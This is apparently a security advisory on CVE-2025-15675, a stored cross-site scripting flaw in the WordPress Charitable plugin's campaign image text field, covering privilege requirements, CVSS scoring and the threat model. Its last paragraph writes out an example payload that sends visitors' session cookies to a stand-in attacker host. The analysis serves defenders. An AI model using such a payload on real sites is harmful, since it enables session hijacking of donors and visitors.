Charitable Plugin CVE-2025-15675

Exploitation requires the attacker to hold a high-privilege campaign-management role within the WordPress installation (PR:H per CVSS vector), meaning unauthenticated external attackers cannot exploit this directly. The vulnerable code path is specifically the campaign image text field - only that field is confirmed as unsanitized; other plugin fields are not stated to be affected. A frontend site visitor must actively load the campaign page for the stored payload to execute (UI:R), so impact is deferred until victim interaction occurs. Exploitation is limited to WordPress sites running the Charitable plugin in any version below 1.8.5.3 with at least one user account carrying campaign-management privileges. Sites where all campaign managers are fully trusted internal staff face minimal realistic risk beyond patch compliance.

The CVSS base score of 4.8 (Medium) is appropriate and consistent with the available signals. The vector CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N conveys a network-reachable attack requiring no special complexity, but gated by a high-privilege campaign-manager role (PR:H) and victim interaction (UI:R), substantially narrowing the exploitable population. EPSS at 0.16% (6th percentile) corroborates low automated exploitation likelihood, consistent with the authentication barrier. A public POC via WPScan exists, which elevates risk for targeted attacks against specific deployments where a malicious or compromised campaign manager is plausible (e.g., multi-author donation sites, charities with external staff). There is no CISA KEV entry, so mass exploitation is not confirmed. The realistic threat model is an insider or compromised privileged account planting a persistent payload for visitor harvesting - not an external unauthenticated attacker. No SSVC data was provided; inferring from available signals, automatable exploitation is unlikely given the PR:H gate.

A malicious or compromised campaign manager logs into the WordPress backend and edits a donation campaign, injecting a JavaScript payload (e.g., an event-handler-breaking attribute like " onmouseover="fetch('https://attacker.example/steal?c='+document.cookie)) into the campaign image text field. The payload is saved to the database without sanitization; when a site donor or visitor navigates to the public campaign page, their browser renders the attribute, fires the event handler, and silently exfiltrates their session cookie to the attacker's server. A public POC is available via WPScan confirming exploitability of this injection point.